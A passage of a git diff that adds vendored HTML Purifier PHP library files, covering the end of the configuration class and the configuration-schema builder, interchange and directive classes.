+ }
+ }
+ // check if definition was in memory
+ if ($def) {
+ if ($def->setup) {
+ // invariant: $optimized === true (checked above)
+ return null;
+ } else {
+ return $def;
+ }
+ }
+ // if optimized, check if definition was in cache
+ // (because we do the memory check first, this formulation
+ // is prone to cache slamming, but I think
+ // guaranteeing that either /all/ of the raw
+ // setup code or /none/ of it is run is more important.)
+ if ($optimized) {
+ // This code path only gets run once; once we put
+ // something in $definitions (which is guaranteed by the
+ // trailing code), we always short-circuit above.
+ $def = $cache->get($this);
+ if ($def) {
+ // save the full definition for later, but don't
+ // return it yet
+ $this->definitions[$type] = $def;
+ return null;
+ }
+ }
+ // check invariants for creation
+ if (!$optimized) {
+ if (!is_null($this->get($type . '.DefinitionID'))) {
+ if ($this->chatty) {
+ $this->triggerError(
+ 'Due to a documentation error in previous version of HTML Purifier, your ' .
+ 'definitions are not being cached. If this is OK, you can remove the ' .
+ '%$type.DefinitionRev and %$type.DefinitionID declaration. Otherwise, ' .
+ 'modify your code to use maybeGetRawDefinition, and test if the returned ' .
+ 'value is null before making any edits (if it is null, that means that a ' .
+ 'cached version is available, and no raw operations are necessary). See ' .
+ '<a href="http://htmlpurifier.org/docs/enduser-customize.html#optimized">' .
+ 'Customize</a> for more details',
+ E_USER_WARNING
+ );
+ } else {
+ $this->triggerError(
+ "Useless DefinitionID declaration",
+ E_USER_WARNING
+ );
+ }
+ }
+ }
+ // initialize it
+ $def = $this->initDefinition($type);
+ $def->optimized = $optimized;
+ return $def;
+ }
+ throw new HTMLPurifier_Exception("The impossible happened!");
+ }
+
+ /**
+ * Initialise definition
+ *
+ * @param string $type What type of definition to create
+ *
+ * @return HTMLPurifier_CSSDefinition|HTMLPurifier_HTMLDefinition|HTMLPurifier_URIDefinition
+ * @throws HTMLPurifier_Exception
+ */
+ private function initDefinition($type)
+ {
+ // quick checks failed, let's create the object
+ if ($type == 'HTML') {
+ $def = new HTMLPurifier_HTMLDefinition();
+ } elseif ($type == 'CSS') {
+ $def = new HTMLPurifier_CSSDefinition();
+ } elseif ($type == 'URI') {
+ $def = new HTMLPurifier_URIDefinition();
+ } else {
+ throw new HTMLPurifier_Exception(
+ "Definition of $type type not supported"
+ );
+ }
+ $this->definitions[$type] = $def;
+ return $def;
+ }
+
+ public function maybeGetRawDefinition($name)
+ {
+ return $this->getDefinition($name, true, true);
+ }
+
+ public function maybeGetRawHTMLDefinition()
+ {
+ return $this->getDefinition('HTML', true, true);
+ }
+
+ public function maybeGetRawCSSDefinition()
+ {
+ return $this->getDefinition('CSS', true, true);
+ }
+
+ public function maybeGetRawURIDefinition()
+ {
+ return $this->getDefinition('URI', true, true);
+ }
+
+ /**
+ * Loads configuration values from an array with the following structure:
+ * Namespace.Directive => Value
+ *
+ * @param array $config_array Configuration associative array
+ */
+ public function loadArray($config_array)
+ {
+ if ($this->isFinalized('Cannot load directives after finalization')) {
+ return;
+ }
+ foreach ($config_array as $key => $value) {
+ $key = str_replace('_', '.', $key);
+ if (strpos($key, '.') !== false) {
+ $this->set($key, $value);
+ } else {
+ $namespace = $key;
+ $namespace_values = $value;
+ foreach ($namespace_values as $directive => $value2) {
+ $this->set($namespace .'.'. $directive, $value2);
+ }
+ }
+ }
+ }
+
+ /**
+ * Returns a list of array(namespace, directive) for all directives
+ * that are allowed in a web-form context as per an allowed
+ * namespaces/directives list.
+ *
+ * @param array $allowed List of allowed namespaces/directives
+ * @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy
+ *
+ * @return array
+ */
+ public static function getAllowedDirectivesForForm($allowed, $schema = null)
+ {
+ if (!$schema) {
+ $schema = HTMLPurifier_ConfigSchema::instance();
+ }
+ if ($allowed !== true) {
+ if (is_string($allowed)) {
+ $allowed = array($allowed);
+ }
+ $allowed_ns = array();
+ $allowed_directives = array();
+ $blacklisted_directives = array();
+ foreach ($allowed as $ns_or_directive) {
+ if (strpos($ns_or_directive, '.') !== false) {
+ // directive
+ if ($ns_or_directive[0] == '-') {
+ $blacklisted_directives[substr($ns_or_directive, 1)] = true;
+ } else {
+ $allowed_directives[$ns_or_directive] = true;
+ }
+ } else {
+ // namespace
+ $allowed_ns[$ns_or_directive] = true;
+ }
+ }
+ }
+ $ret = array();
+ foreach ($schema->info as $key => $def) {
+ list($ns, $directive) = explode('.', $key, 2);
+ if ($allowed !== true) {
+ if (isset($blacklisted_directives["$ns.$directive"])) {
+ continue;
+ }
+ if (!isset($allowed_directives["$ns.$directive"]) && !isset($allowed_ns[$ns])) {
+ continue;
+ }
+ }
+ if (isset($def->isAlias)) {
+ continue;
+ }
+ if ($directive == 'DefinitionID' || $directive == 'DefinitionRev') {
+ continue;
+ }
+ $ret[] = array($ns, $directive);
+ }
+ return $ret;
+ }
+
+ /**
+ * Loads configuration values from $_GET/$_POST that were posted
+ * via ConfigForm
+ *
+ * @param array $array $_GET or $_POST array to import
+ * @param string|bool $index Index/name that the config variables are in
+ * @param array|bool $allowed List of allowed namespaces/directives
+ * @param bool $mq_fix Boolean whether or not to enable magic quotes fix
+ * @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy
+ *
+ * @return mixed
+ */
+ public static function loadArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null)
+ {
+ $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $schema);
+ $config = HTMLPurifier_Config::create($ret, $schema);
+ return $config;
+ }
+
+ /**
+ * Merges in configuration values from $_GET/$_POST to object. NOT STATIC.
+ *
+ * @param array $array $_GET or $_POST array to import
+ * @param string|bool $index Index/name that the config variables are in
+ * @param array|bool $allowed List of allowed namespaces/directives
+ * @param bool $mq_fix Boolean whether or not to enable magic quotes fix
+ */
+ public function mergeArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true)
+ {
+ $ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $this->def);
+ $this->loadArray($ret);
+ }
+
+ /**
+ * Prepares an array from a form into something usable for the more
+ * strict parts of HTMLPurifier_Config
+ *
+ * @param array $array $_GET or $_POST array to import
+ * @param string|bool $index Index/name that the config variables are in
+ * @param array|bool $allowed List of allowed namespaces/directives
+ * @param bool $mq_fix Boolean whether or not to enable magic quotes fix
+ * @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy
+ *
+ * @return array
+ */
+ public static function prepareArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null)
+ {
+ if ($index !== false) {
+ $array = (isset($array[$index]) && is_array($array[$index])) ? $array[$index] : array();
+ }
+ $mq = $mq_fix && function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc();
+
+ $allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $schema);
+ $ret = array();
+ foreach ($allowed as $key) {
+ list($ns, $directive) = $key;
+ $skey = "$ns.$directive";
+ if (!empty($array["Null_$skey"])) {
+ $ret[$ns][$directive] = null;
+ continue;
+ }
+ if (!isset($array[$skey])) {
+ continue;
+ }
+ $value = $mq ? stripslashes($array[$skey]) : $array[$skey];
+ $ret[$ns][$directive] = $value;
+ }
+ return $ret;
+ }
+
+ /**
+ * Loads configuration values from an ini file
+ *
+ * @param string $filename Name of ini file
+ */
+ public function loadIni($filename)
+ {
+ if ($this->isFinalized('Cannot load directives after finalization')) {
+ return;
+ }
+ $array = parse_ini_file($filename, true);
+ $this->loadArray($array);
+ }
+
+ /**
+ * Checks whether or not the configuration object is finalized.
+ *
+ * @param string|bool $error String error message, or false for no error
+ *
+ * @return bool
+ */
+ public function isFinalized($error = false)
+ {
+ if ($this->finalized && $error) {
+ $this->triggerError($error, E_USER_ERROR);
+ }
+ return $this->finalized;
+ }
+
+ /**
+ * Finalizes configuration only if auto finalize is on and not
+ * already finalized
+ */
+ public function autoFinalize()
+ {
+ if ($this->autoFinalize) {
+ $this->finalize();
+ } else {
+ $this->plist->squash(true);
+ }
+ }
+
+ /**
+ * Finalizes a configuration object, prohibiting further change
+ */
+ public function finalize()
+ {
+ $this->finalized = true;
+ $this->parser = null;
+ }
+
+ /**
+ * Produces a nicely formatted error message by supplying the
+ * stack frame information OUTSIDE of HTMLPurifier_Config.
+ *
+ * @param string $msg An error message
+ * @param int $no An error number
+ */
+ protected function triggerError($msg, $no)
+ {
+ // determine previous stack frame
+ $extra = '';
+ if ($this->chatty) {
+ $trace = debug_backtrace();
+ // zip(tail(trace), trace) -- but PHP is not Haskell har har
+ for ($i = 0, $c = count($trace); $i < $c - 1; $i++) {
+ // XXX this is not correct on some versions of HTML Purifier
+ if ($trace[$i + 1]['class'] === 'HTMLPurifier_Config') {
+ continue;
+ }
+ $frame = $trace[$i];
+ $extra = " invoked on line {$frame['line']} in file {$frame['file']}";
+ break;
+ }
+ }
+ trigger_error($msg . $extra, $no);
+ }
+
+ /**
+ * Returns a serialized form of the configuration object that can
+ * be reconstituted.
+ *
+ * @return string
+ */
+ public function serialize()
+ {
+ $this->getDefinition('HTML');
+ $this->getDefinition('CSS');
+ $this->getDefinition('URI');
+ return serialize($this);
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema.php
new file mode 100644
index 000000000..bfbb0f92f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema.php
@@ -0,0 +1,176 @@
+<?php
+
+/**
+ * Configuration definition, defines directives and their defaults.
+ */
+class HTMLPurifier_ConfigSchema
+{
+ /**
+ * Defaults of the directives and namespaces.
+ * @type array
+ * @note This shares the exact same structure as HTMLPurifier_Config::$conf
+ */
+ public $defaults = array();
+
+ /**
+ * The default property list. Do not edit this property list.
+ * @type array
+ */
+ public $defaultPlist;
+
+ /**
+ * Definition of the directives.
+ * The structure of this is:
+ *
+ * array(
+ * 'Namespace' => array(
+ * 'Directive' => new stdclass(),
+ * )
+ * )
+ *
+ * The stdclass may have the following properties:
+ *
+ * - If isAlias isn't set:
+ * - type: Integer type of directive, see HTMLPurifier_VarParser for definitions
+ * - allow_null: If set, this directive allows null values
+ * - aliases: If set, an associative array of value aliases to real values
+ * - allowed: If set, a lookup array of allowed (string) values
+ * - If isAlias is set:
+ * - namespace: Namespace this directive aliases to
+ * - name: Directive name this directive aliases to
+ *
+ * In certain degenerate cases, stdclass will actually be an integer. In
+ * that case, the value is equivalent to an stdclass with the type
+ * property set to the integer. If the integer is negative, type is
+ * equal to the absolute value of integer, and allow_null is true.
+ *
+ * This class is friendly with HTMLPurifier_Config. If you need introspection
+ * about the schema, you're better of using the ConfigSchema_Interchange,
+ * which uses more memory but has much richer information.
+ * @type array
+ */
+ public $info = array();
+
+ /**
+ * Application-wide singleton
+ * @type HTMLPurifier_ConfigSchema
+ */
+ protected static $singleton;
+
+ public function __construct()
+ {
+ $this->defaultPlist = new HTMLPurifier_PropertyList();
+ }
+
+ /**
+ * Unserializes the default ConfigSchema.
+ * @return HTMLPurifier_ConfigSchema
+ */
+ public static function makeFromSerial()
+ {
+ $contents = file_get_contents(HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema.ser');
+ $r = unserialize($contents);
+ if (!$r) {
+ $hash = sha1($contents);
+ trigger_error("Unserialization of configuration schema failed, sha1 of file was $hash", E_USER_ERROR);
+ }
+ return $r;
+ }
+
+ /**
+ * Retrieves an instance of the application-wide configuration definition.
+ * @param HTMLPurifier_ConfigSchema $prototype
+ * @return HTMLPurifier_ConfigSchema
+ */
+ public static function instance($prototype = null)
+ {
+ if ($prototype !== null) {
+ HTMLPurifier_ConfigSchema::$singleton = $prototype;
+ } elseif (HTMLPurifier_ConfigSchema::$singleton === null || $prototype === true) {
+ HTMLPurifier_ConfigSchema::$singleton = HTMLPurifier_ConfigSchema::makeFromSerial();
+ }
+ return HTMLPurifier_ConfigSchema::$singleton;
+ }
+
+ /**
+ * Defines a directive for configuration
+ * @warning Will fail of directive's namespace is defined.
+ * @warning This method's signature is slightly different from the legacy
+ * define() static method! Beware!
+ * @param string $key Name of directive
+ * @param mixed $default Default value of directive
+ * @param string $type Allowed type of the directive. See
+ * HTMLPurifier_DirectiveDef::$type for allowed values
+ * @param bool $allow_null Whether or not to allow null values
+ */
+ public function add($key, $default, $type, $allow_null)
+ {
+ $obj = new stdclass();
+ $obj->type = is_int($type) ? $type : HTMLPurifier_VarParser::$types[$type];
+ if ($allow_null) {
+ $obj->allow_null = true;
+ }
+ $this->info[$key] = $obj;
+ $this->defaults[$key] = $default;
+ $this->defaultPlist->set($key, $default);
+ }
+
+ /**
+ * Defines a directive value alias.
+ *
+ * Directive value aliases are convenient for developers because it lets
+ * them set a directive to several values and get the same result.
+ * @param string $key Name of Directive
+ * @param array $aliases Hash of aliased values to the real alias
+ */
+ public function addValueAliases($key, $aliases)
+ {
+ if (!isset($this->info[$key]->aliases)) {
+ $this->info[$key]->aliases = array();
+ }
+ foreach ($aliases as $alias => $real) {
+ $this->info[$key]->aliases[$alias] = $real;
+ }
+ }
+
+ /**
+ * Defines a set of allowed values for a directive.
+ * @warning This is slightly different from the corresponding static
+ * method definition.
+ * @param string $key Name of directive
+ * @param array $allowed Lookup array of allowed values
+ */
+ public function addAllowedValues($key, $allowed)
+ {
+ $this->info[$key]->allowed = $allowed;
+ }
+
+ /**
+ * Defines a directive alias for backwards compatibility
+ * @param string $key Directive that will be aliased
+ * @param string $new_key Directive that the alias will be to
+ */
+ public function addAlias($key, $new_key)
+ {
+ $obj = new stdclass;
+ $obj->key = $new_key;
+ $obj->isAlias = true;
+ $this->info[$key] = $obj;
+ }
+
+ /**
+ * Replaces any stdclass that only has the type property with type integer.
+ */
+ public function postProcess()
+ {
+ foreach ($this->info as $key => $v) {
+ if (count((array) $v) == 1) {
+ $this->info[$key] = $v->type;
+ } elseif (count((array) $v) == 2 && isset($v->allow_null)) {
+ $this->info[$key] = -$v->type;
+ }
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php
new file mode 100644
index 000000000..d5906cd46
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/ConfigSchema.php
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * Converts HTMLPurifier_ConfigSchema_Interchange to our runtime
+ * representation used to perform checks on user configuration.
+ */
+class HTMLPurifier_ConfigSchema_Builder_ConfigSchema
+{
+
+ /**
+ * @param HTMLPurifier_ConfigSchema_Interchange $interchange
+ * @return HTMLPurifier_ConfigSchema
+ */
+ public function build($interchange)
+ {
+ $schema = new HTMLPurifier_ConfigSchema();
+ foreach ($interchange->directives as $d) {
+ $schema->add(
+ $d->id->key,
+ $d->default,
+ $d->type,
+ $d->typeAllowsNull
+ );
+ if ($d->allowed !== null) {
+ $schema->addAllowedValues(
+ $d->id->key,
+ $d->allowed
+ );
+ }
+ foreach ($d->aliases as $alias) {
+ $schema->addAlias(
+ $alias->key,
+ $d->id->key
+ );
+ }
+ if ($d->valueAliases !== null) {
+ $schema->addValueAliases(
+ $d->id->key,
+ $d->valueAliases
+ );
+ }
+ }
+ $schema->postProcess();
+ return $schema;
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.php
new file mode 100644
index 000000000..5fa56f7dd
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Builder/Xml.php
@@ -0,0 +1,144 @@
+<?php
+
+/**
+ * Converts HTMLPurifier_ConfigSchema_Interchange to an XML format,
+ * which can be further processed to generate documentation.
+ */
+class HTMLPurifier_ConfigSchema_Builder_Xml extends XMLWriter
+{
+
+ /**
+ * @type HTMLPurifier_ConfigSchema_Interchange
+ */
+ protected $interchange;
+
+ /**
+ * @type string
+ */
+ private $namespace;
+
+ /**
+ * @param string $html
+ */
+ protected function writeHTMLDiv($html)
+ {
+ $this->startElement('div');
+
+ $purifier = HTMLPurifier::getInstance();
+ $html = $purifier->purify($html);
+ $this->writeAttribute('xmlns', 'http://www.w3.org/1999/xhtml');
+ $this->writeRaw($html);
+
+ $this->endElement(); // div
+ }
+
+ /**
+ * @param mixed $var
+ * @return string
+ */
+ protected function export($var)
+ {
+ if ($var === array()) {
+ return 'array()';
+ }
+ return var_export($var, true);
+ }
+
+ /**
+ * @param HTMLPurifier_ConfigSchema_Interchange $interchange
+ */
+ public function build($interchange)
+ {
+ // global access, only use as last resort
+ $this->interchange = $interchange;
+
+ $this->setIndent(true);
+ $this->startDocument('1.0', 'UTF-8');
+ $this->startElement('configdoc');
+ $this->writeElement('title', $interchange->name);
+
+ foreach ($interchange->directives as $directive) {
+ $this->buildDirective($directive);
+ }
+
+ if ($this->namespace) {
+ $this->endElement();
+ } // namespace
+
+ $this->endElement(); // configdoc
+ $this->flush();
+ }
+
+ /**
+ * @param HTMLPurifier_ConfigSchema_Interchange_Directive $directive
+ */
+ public function buildDirective($directive)
+ {
+ // Kludge, although I suppose having a notion of a "root namespace"
+ // certainly makes things look nicer when documentation is built.
+ // Depends on things being sorted.
+ if (!$this->namespace || $this->namespace !== $directive->id->getRootNamespace()) {
+ if ($this->namespace) {
+ $this->endElement();
+ } // namespace
+ $this->namespace = $directive->id->getRootNamespace();
+ $this->startElement('namespace');
+ $this->writeAttribute('id', $this->namespace);
+ $this->writeElement('name', $this->namespace);
+ }
+
+ $this->startElement('directive');
+ $this->writeAttribute('id', $directive->id->toString());
+
+ $this->writeElement('name', $directive->id->getDirective());
+
+ $this->startElement('aliases');
+ foreach ($directive->aliases as $alias) {
+ $this->writeElement('alias', $alias->toString());
+ }
+ $this->endElement(); // aliases
+
+ $this->startElement('constraints');
+ if ($directive->version) {
+ $this->writeElement('version', $directive->version);
+ }
+ $this->startElement('type');
+ if ($directive->typeAllowsNull) {
+ $this->writeAttribute('allow-null', 'yes');
+ }
+ $this->text($directive->type);
+ $this->endElement(); // type
+ if ($directive->allowed) {
+ $this->startElement('allowed');
+ foreach ($directive->allowed as $value => $x) {
+ $this->writeElement('value', $value);
+ }
+ $this->endElement(); // allowed
+ }
+ $this->writeElement('default', $this->export($directive->default));
+ $this->writeAttribute('xml:space', 'preserve');
+ if ($directive->external) {
+ $this->startElement('external');
+ foreach ($directive->external as $project) {
+ $this->writeElement('project', $project);
+ }
+ $this->endElement();
+ }
+ $this->endElement(); // constraints
+
+ if ($directive->deprecatedVersion) {
+ $this->startElement('deprecated');
+ $this->writeElement('version', $directive->deprecatedVersion);
+ $this->writeElement('use', $directive->deprecatedUse->toString());
+ $this->endElement(); // deprecated
+ }
+
+ $this->startElement('description');
+ $this->writeHTMLDiv($directive->description);
+ $this->endElement(); // description
+
+ $this->endElement(); // directive
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.php
new file mode 100644
index 000000000..2671516c5
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Exception.php
@@ -0,0 +1,11 @@
+<?php
+
+/**
+ * Exceptions related to configuration schema
+ */
+class HTMLPurifier_ConfigSchema_Exception extends HTMLPurifier_Exception
+{
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange.php
new file mode 100644
index 000000000..0e08ae8fe
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange.php
@@ -0,0 +1,47 @@
+<?php
+
+/**
+ * Generic schema interchange format that can be converted to a runtime
+ * representation (HTMLPurifier_ConfigSchema) or HTML documentation. Members
+ * are completely validated.
+ */
+class HTMLPurifier_ConfigSchema_Interchange
+{
+
+ /**
+ * Name of the application this schema is describing.
+ * @type string
+ */
+ public $name;
+
+ /**
+ * Array of Directive ID => array(directive info)
+ * @type HTMLPurifier_ConfigSchema_Interchange_Directive[]
+ */
+ public $directives = array();
+
+ /**
+ * Adds a directive array to $directives
+ * @param HTMLPurifier_ConfigSchema_Interchange_Directive $directive
+ * @throws HTMLPurifier_ConfigSchema_Exception
+ */
+ public function addDirective($directive)
+ {
+ if (isset($this->directives[$i = $directive->id->toString()])) {
+ throw new HTMLPurifier_ConfigSchema_Exception("Cannot redefine directive '$i'");
+ }
+ $this->directives[$i] = $directive;
+ }
+
+ /**
+ * Convenience function to perform standard validation. Throws exception
+ * on failed validation.
+ */
+ public function validate()
+ {
+ $validator = new HTMLPurifier_ConfigSchema_Validator();
+ return $validator->validate($this);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php
new file mode 100644
index 000000000..127a39a67
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Directive.php
@@ -0,0 +1,89 @@
+<?php
+
+/**
+ * Interchange component class describing configuration directives.
+ */
+class HTMLPurifier_ConfigSchema_Interchange_Directive
+{
+
+ /**
+ * ID of directive.
+ * @type HTMLPurifier_ConfigSchema_Interchange_Id
+ */
+ public $id;
+
+ /**
+ * Type, e.g. 'integer' or 'istring'.
+ * @type string
+ */
+ public $type;
+
+ /**
+ * Default value, e.g. 3 or 'DefaultVal'.
+ * @type mixed
+ */
+ public $default;
+
+ /**
+ * HTML description.
+ * @type string
+ */
+ public $description;
+
+ /**
+ * Whether or not null is allowed as a value.
+ * @type bool
+ */
+ public $typeAllowsNull = false;
+
+ /**
+ * Lookup table of allowed scalar values.
+ * e.g. array('allowed' => true).
+ * Null if all values are allowed.
+ * @type array
+ */
+ public $allowed;
+
+ /**
+ * List of aliases for the directive.
+ * e.g. array(new HTMLPurifier_ConfigSchema_Interchange_Id('Ns', 'Dir'))).
+ * @type HTMLPurifier_ConfigSchema_Interchange_Id[]
+ */
+ public $aliases = array();
+
+ /**
+ * Hash of value aliases, e.g. array('alt' => 'real'). Null if value
+ * aliasing is disabled (necessary for non-scalar types).
+ * @type array
+ */
+ public $valueAliases;
+
+ /**
+ * Version of HTML Purifier the directive was introduced, e.g. '1.3.1'.
+ * Null if the directive has always existed.
+ * @type string
+ */
+ public $version;
+
+ /**
+ * ID of directive that supercedes this old directive.
+ * Null if not deprecated.
+ * @type HTMLPurifier_ConfigSchema_Interchange_Id
+ */
+ public $deprecatedUse;
+
+ /**
+ * Version of HTML Purifier this directive was deprecated. Null if not
+ * deprecated.
+ * @type string
+ */
+ public $deprecatedVersion;
+
+ /**
+ * List of external projects this directive depends on, e.g. array('CSSTidy').
+ * @type array
+ */
+ public $external = array();
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.php
new file mode 100644
index 000000000..126f09d95
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/Interchange/Id.php
@@ -0,0 +1,58 @@
+<?php
+
+/**
+ * Represents a directive ID in the interchange format.
+ */
+class HTMLPurifier_ConfigSchema_Interchange_Id
+{
+
+ /**
+ * @type string
+ */
+ public $key;
+
+ /**
+ * @param string $key
+ */
+ public function __construct($key)
+ {
+ $this->key = $key;
+ }
+
+ /**
+ * @return string
+ * @warning This is NOT magic, to ensure that people don't abuse SPL and
+ * cause problems for PHP 5.0 support.
+ */
+ public function toString()
+ {
+ return $this->key;
+ }
+
+ /**
+ * @return string
+ */
+ public function getRootNamespace()
+ {
+ return substr($this->key, 0, strpos($this->key, "."));
+ }
+
+ /**
+ * @return string
+ */
+ public function getDirective()
+ {
+ return substr($this->key, strpos($this->key, ".") + 1);
+ }
+
+ /**
+ * @param string $id
+ * @return HTMLPurifier_ConfigSchema_Interchange_Id
+ */
+ public static function make($id)
+ {
+ return new HTMLPurifier_ConfigSchema_Interchange_Id($id);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php
new file mode 100644
index 000000000..655e6dd1b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/ConfigSchema/InterchangeBuilder.php
@@ -0,0 +1,226 @@
+<?php
+
+class HTMLPurifier_ConfigSchema_InterchangeBuilder
+{
+
+ /**
+ * Used for processing DEFAULT, nothing else.
+ * @type HTMLPurifier_VarParser
+ */
+ protected $varParser;
+
+ /**
+ * @param HTMLPurifier_VarParser $varParser
+ */
+ public function __construct($varParser = null)
+ {
+ $this->varParser = $varParser ? $varParser : new HTMLPurifier_VarParser_Native();
+ }
+
+ /**
+ * @param string $dir
+ * @return HTMLPurifier_ConfigSchema_Interchange
+ */
+ public static function buildFromDirectory($dir = null)
+ {
+ $builder = new HTMLPurifier_ConfigSchema_InterchangeBuilder();
+ $interchange = new HTMLPurifier_ConfigSchema_Interchange();
+ return $builder->buildDir($interchange, $dir);
+ }
+
+ /**
+ * @param HTMLPurifier_ConfigSchema_Interchange $interchange
+ * @param string $dir
+ * @return HTMLPurifier_ConfigSchema_Interchange
+ */
+ public function buildDir($interchange, $dir = null)
+ {
+ if (!$dir) {
+ $dir = HTMLPURIFIER_PREFIX . '/HTMLPurifier/ConfigSchema/schema';
+ }
+ if (file_exists($dir . '/info.ini')) {
+ $info = parse_ini_file($dir . '/info.ini');
+ $interchange->name = $info['name'];
+ }
+
+ $files = array();
+ $dh = opendir($dir);
+ while (false !== ($file = readdir($dh))) {
+ if (!$file || $file[0] == '.' || strrchr($file, '.') !== '.txt') {
+ continue;
+ }
+ $files[] = $file;
+ }
+ closedir($dh);
+
+ sort($files);
+ foreach ($files as $file) {
+ $this->buildFile($interchange, $dir . '/' . $file);
+ }
+ return $interchange;
+ }
+
+ /**
+ * @param HTMLPurifier_ConfigSchema_Interchange $interchange
+ * @param string $file
+ */
+ public function buildFile($interchange, $file)
+ {
+ $parser = new HTMLPurifier_StringHashParser();
+ $this->build(
+ $interchange,
+ new HTMLPurifier_StringHash($parser->parseFile($file))
+ );
+ }
+
+ /**
+ * Builds an interchange object based on a hash.
+ * @param HTMLPurifier_ConfigSchema_Interchange $interchange HTMLPurifier_ConfigSchema_Interchange object to build
+ * @param HTMLPurifier_StringHash $hash source data
+ * @throws HTMLPurifier_ConfigSchema_Exception
+ */
+ public function build($interchange, $hash)
+ {
+ if (!$hash instanceof HTMLPurifier_StringHash) {
+ $hash = new HTMLPurifier_StringHash($hash);
+ }
+ if (!isset($hash['ID'])) {
+ throw new HTMLPurifier_ConfigSchema_Exception('Hash does not have any ID');
+ }
+ if (strpos($hash['ID'], '.') === false) {
+ if (count($hash) == 2 && isset($hash['DESCRIPTION'])) {
+ $hash->offsetGet('DESCRIPTION'); // prevent complaining
+ } else {
+ throw new HTMLPurifier_ConfigSchema_Exception('All directives must have a namespace');
+ }
+ } else {
+ $this->buildDirective($interchange, $hash);
+ }
+ $this->_findUnused($hash);
+ }
+
+ /**
+ * @param HTMLPurifier_ConfigSchema_Interchange $interchange
+ * @param HTMLPurifier_StringHash $hash
+ * @throws HTMLPurifier_ConfigSchema_Exception
+ */
+ public function buildDirective($interchange, $hash)
+ {
+ $directive = new HTMLPurifier_ConfigSchema_Interchange_Directive();
+
+ // These are required elements:
+ $directive->id = $this->id($hash->offsetGet('ID'));
+ $id = $directive->id->toString(); // convenience
+
+ if (isset($hash['TYPE'])) {
+ $type = explode('/', $hash->offsetGet('TYPE'));
+ if (isset($type[1])) {
+ $directive->typeAllowsNull = true;
+ }
+ $directive->type = $type[0];
+ } else {
+ throw new HTMLPurifier_ConfigSchema_Exception("TYPE in directive hash '$id' not defined");
+ }
+
+ if (isset($hash['DEFAULT'])) {
+ try {
+ $directive->default = $this->varParser->parse(
+ $hash->offsetGet('DEFAULT'),
+ $directive->type,
+ $directive->typeAllowsNull
+ );
+ } catch (HTMLPurifier_VarParserException $e) {
+ throw new HTMLPurifier_ConfigSchema_Exception($e->getMessage() . " in DEFAULT in directive hash '$id'");
+ }
+ }
+
+ if (isset($hash['DESCRIPTION'])) {
+ $directive->description = $hash->offsetGet('DESCRIPTION');
+ }
+
+ if (isset($hash['ALLOWED'])) {
+ $directive->allowed = $this->lookup($this->evalArray($hash->offsetGet('ALLOWED')));
+ }
+
+ if (isset($hash['VALUE-ALIASES'])) {
+ $directive->valueAliases = $this->evalArray($hash->offsetGet('VALUE-ALIASES'));
+ }
+
+ if (isset($hash['ALIASES'])) {
+ $raw_aliases = trim($hash->offsetGet('ALIASES'));
+ $aliases = preg_split('/\s*,\s*/', $raw_aliases);
+ foreach ($aliases as $alias) {
+ $directive->aliases[] = $this->id($alias);
+ }
+ }
+
+ if (isset($hash['VERSION'])) {
+ $directive->version = $hash->offsetGet('VERSION');
+ }
+
+ if (isset($hash['DEPRECATED-USE'])) {
+ $directive->deprecatedUse = $this->id($hash->offsetGet('DEPRECATED-USE'));
+ }
+
+ if (isset($hash['DEPRECATED-VERSION'])) {
